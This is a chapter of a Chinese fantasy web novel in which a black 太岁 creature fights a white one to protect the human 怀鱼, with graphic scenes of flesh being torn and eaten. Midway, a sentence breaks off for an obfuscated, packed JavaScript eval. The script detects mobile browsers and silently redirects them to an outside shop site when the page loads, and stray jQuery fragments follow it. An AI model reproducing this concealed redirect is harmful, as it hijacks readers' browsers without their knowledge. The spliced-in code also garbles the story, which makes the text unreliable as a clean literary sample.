文趣网 > 都市小说 > 给我生只小邪祟吧! > 20. 鏖战
    怀鱼当即叫道:“林溯!不要吃!”

    白太岁疑惑道:“林溯?这是他的名字吗?哦,我知道了,是他现在占据的身体的人吧。我还以为你给他起了名字呢。”

    “唉,我们太岁天生就是没有名字的。而一只太岁,如果需要人类起名字的话,那才是可笑至极!”

    “不过,某只太岁似乎很喜欢人类给他起名呢,是不是啊。小,黑。”

    林溯冷冷瞪着他,道:“弱智。”

    “再弱智能有你这名字弱智?像狗一样!”

    林溯讽笑道:“我觉得好听就行。比起某只太岁因为长相被人类称呼为阿丑,要好听多了。”

    白太岁咬牙切齿道:“上次敢这么喊我的,已经被我吃掉了。”

    “这么说,我是下一个了?”

    楼下的太岁一脸无所谓,甚至是……轻蔑。这让白太岁十分不爽。

    “你的人还在我手里,你还敢惹怒我,胆子大的很呐。”白太岁磨着牙,触手将怀鱼的脖颈缠的更紧了。

    怀鱼正看两人吵嘴看的起劲儿,一下子矛盾又聚焦在自己身上了,顿时慌了。

    林溯道:“我说了!别动他!”

    “那你还等什么?给我把东西吃下去啊。”

    怀鱼叫道:“你不能吃!”

    白太岁皱眉,触手缠绕而上,捂住了怀鱼的嘴,道:“你在担心他吗?呵呵,那他可真要开心死了。呕,只有我被恶心死了。”

    “我说过了,你,别,碰,他。”林溯狭长的眼眸微微眯起,他捡起盒子,道:“我吃。”

    怀鱼拼命摇头,却只能发出细碎的呜咽声。

    胀和影也急了,道:“大人,您不能吃!若是您出事了,怀大人也不会有好下场的!”

    白太岁垂眸俯视着他们,道:“啧,少在这儿演什么情深义重的戏码了,我的耐心是有限的。”

    林溯盯着他,冰冷的视线仿佛能把人刺穿,他打开盒子,将那颗丹药面无表情地塞到了嘴里,随后咽下。

    白太岁身子微微前倾,期待地看着他。

    只见林溯的人皮里泛起了黑色的肉质,如流水般涌动起伏着,似乎想要冲破束缚,明显是太岁控制不住自己的身体了。

    他脚步开始发虚,踉跄着跪在了地上,“哇”地吐出了一滩黑红交错的血液。

    “大人!”胀和影异口同声喊道。

    白太岁掐住怀鱼:“都不准动!”

    他十分有兴致,眼中泛着精光,看着黑太岁痛苦挣扎的模样,喃喃道:“再疼一点,再痛苦一点……”

    最好变得没有任何力气反抗他,乖乖被他吃掉。

    谁知,那团黑色的东西只跑出一点真身,就停止了蠕动,再次收了回去。

    属于林溯的人皮缓缓合上,太岁擦了擦嘴角的血,抬起头直勾勾地盯着他。

    白太岁瞠目结舌,不敢相信眼前这一幕。什么情况?他这是硬生生把那颗丹药吸收了?!

    一旁的邪祟忧心忡忡地看了白太岁一眼,又看了看动弹不得的怀鱼,眸光沉沉来回打转。

    胀和影喊道:“大人,您没事吧?!”

    林溯抬手示意他们不要吵,盯着白太岁语气平静道:“药很厉害,我现在很虚弱,你现在要下来吃掉我吗?”

    白太岁面部抽搐了几下,道:“你在诈我?我不信!”

    “那你现在要怎么样?”

    白太岁唇角扯出一抹微笑,面容扭曲至极,“我要你当着我的面,自己亲手挖出你的心骨!”

    此话一出,全场骤然死寂,连白太岁身边的邪祟都愕然了一瞬。

    只有怀鱼转动着眼睛,呜呜了两声。

    影破口大骂道:“白色的!你别太过分!你知道对于太岁来说心骨意味着什么!”

    白太岁:“那又如何?”

    他加大了力气,触手缠得更紧了,怀鱼连呜呜的声音都发不出来了,只能望着林溯,眼眸越来越模糊。

    林溯道:“好。”

    影叫道:“大人!你,唉!”

    一旁的胀沉默道:“一定要他自己动手吗?心骨离肉的疼痛和折磨,要亲手做怕是很难做到吧。白太岁大人,算我求你,别让他自己动手。你不放心我们的话,就让你旁边的那个来,可以吗?”

    白太岁瞥了幻一眼,似乎在考虑。

    突然,怀鱼不知道从哪里冒出的力气,猛地张开嘴巴狠狠咬住了他的肉,白太岁一吃痛,本能地缩回了触手。

    谁知怀鱼踉跄着倒向前方,从楼上坠了下去,如同飘摇的蝴蝶。

    林溯的瞳仁猛地骤缩成针尖大小,朝坠落的怀鱼冲了过去。

    啪的一下!

    怀鱼落在了地上,身下鲜血遍野。

    散神丹的药效在体内还是发挥着作用的,林溯最终晚了一步。

    “不……不……不!”林溯发出绝望的惨叫,将怀鱼抱在了怀中。

    他满腔惶恐地去探他的鼻子,怀鱼睁着眼睛,瞳孔颤动着望着他,微弱的气息零零碎碎呼出。

    来得及!还来得及!

    林溯二话不说,真身一瞬间从人体中爆发而出,汹涌地裹住了怀鱼,从他的口腔、鼻腔,甚至耳朵里钻了进去。

    几乎是如雷电一般疾速,将透明的粘液全部释放而出,从里到外沾满黏满了怀鱼,祈求愈合的速度快一点,再快一点!

    “这味道好香啊,竟然是那种体质的吗......”白太岁不合时宜道,随即回过神来愣了愣,把重点放在了当下,手脚无措,“不对不对,怎么回事?怎么突然掉了下去!我又没推他?!”

    明明刚才他们距离楼边还有一段距离的。

    幻急忙道:“太岁大人,快把怀鱼抢回来!”

    “我看谁敢抢!”一道长影猝不及防挥斩而来,直攻向白太岁,紧接着又要一道身影跳了上来,拦住了往后退去的幻。

    是黑太岁的两个手下。

    白太岁一个旋身闪开,触手支撑着地面上往墙上爬去,攀附不动了,恶狠狠道:“就凭你们两个,也敢跟我动手!看我不吃了你们!”

    胀和影对视一眼,再次朝白太岁攻去,三道身影交替在楼间,将水泥钢筋打的遍地飞溅。

    幻默默躲在一边看着,胀和影在白太岁的攻击下逐渐吃力,明显不占上风。

    太岁果然就是太岁,其它的邪祟还是不能够与之相比的。

    “太岁大人!别和他们纠缠了!黑太岁待会过来了就麻烦了!”邪祟幻大声提醒着。

    白太岁眼珠子转向远处。

    一道声音突然冷冷响起,“我已经来了。”

    轰地一声!数条黑色的触手将白太岁缠住,一个拉扯,直接摔飞在了远处的野草地上,火星滋滋滋地冒,压成

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872185|212318||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一条黑色的小路。

    白太岁抖了抖身体,把灰尘抖下,瞪向远处的黑太岁。

    这个家伙已然露出真身,正居高临下地盯着他。

    他又找了一圈,跟随他的那只邪祟已经跑的无影无踪了,连一丝气息都闻不到了。

    “该死!”

    黑太岁裂开身上的一条缝,把刚刚恢复还在昏迷的怀鱼吐了出来,放在了胀和影的手中。

    “看好我的宝宝。”

    “我去杀了那只杂碎。”

    他咻地一下,身影闪烁不见,下一秒,直朝白太岁砸去,草地瞬间土石纷飞,但不见白太岁的尸体。

    白太岁瞥向原处的那一个又大又深的坑,暗骂了一句,若不是他闪的够快,此刻怕是成了肉泥了!

    “想跑?”黑太岁追击而上,“你已经彻底惹怒我了。”

    白太岁一边应付着他的攻击,一边叫道:“靠,我怎么知道他会掉下去!我没想过弄死他的!”

    黑太岁不语,一个劲儿的猛攻,速度快到肉眼根本无法捕捉他的轨迹。

    白太岁当仁不让,也冲了上去。

    一黑一白两尊太岁缠打在一起,墨黑的触手和乳白的流质拧成了麻花翻来滚去,上一秒还在此地,下一瞬就到了十丈开外,全然没有章法,只剩最原始最野蛮的厮杀。

    血液淋漓,染遍了整片郊野。

    两只太岁一时间不分上下,你缠着我我缠着你,在原地动弹不得。

    白太岁一只触手插进了黑太岁的肋骨里,喊道:“别打了!没结果的!”

    黑太岁猩红的眼眸缩了缩,一口血呕到了白太岁的脸上。

    白太岁笑了起来:“哈哈啊,看来那颗散神丹给你带来不小的伤害嘛!别打了,你不疼吗?”

    他笑着笑着,心里又愤懑了起来,对方都那样了,居然还能和他打个平手。

    “老子照样撕了你。”黑太岁突然道。

    黑太岁此刻怒火冲天,直接张开血盆大口,朝白太岁脸上咬去,硬生生扯下了一块肉!

    白太岁发出凄厉的惨叫,挣扎道:“住口!住口!你疯了吗!一个人类而已,至于这么生气?!”

    黑太岁充耳不闻,闷头撕咬,将他的肉全部吞入腹中,白太岁慌了,也张开嘴巴一口咬了回去,顿时血与肉纷飞炸了满天。

    但他吃的速度完全没有黑太岁的快,眼看自己被压制住了,他大喊道:“别打了,再打下去我们肯定两败俱伤!你要和我拼命吗!我们就此别过不好吗!”

    黑太岁依旧完全没有听到一般,不顾自己身上掉落的肉,撕咬,吞咽,再撕咬,再吞咽,即便白太岁在不断愈合生长,身体的肉也在这种电光般的速度下越来越少。

    直到黑太岁锋利的尖齿剥开层层皮肉,穿透他的胸膛,白太岁全身一凉,疼痛十分,害怕十分!

    他的心骨就要露出来了!

    “我错了!我错了行不?!我不该过来招惹你的!我再也不会碰那个人类了!你放过我,我马上消失在你眼前,再也不回来了!”

    “别吃了!别吃了!我真的知道错了!你不能吃我!”

    这只黑太岁已经疯了!

    血液在空中挥洒间,一块黏着肉的骨头突兀地泛起了白光。

    黑太岁咔嚓一声咬下。

    白太岁痛喊道:“我们可是同一个母亲生的啊!”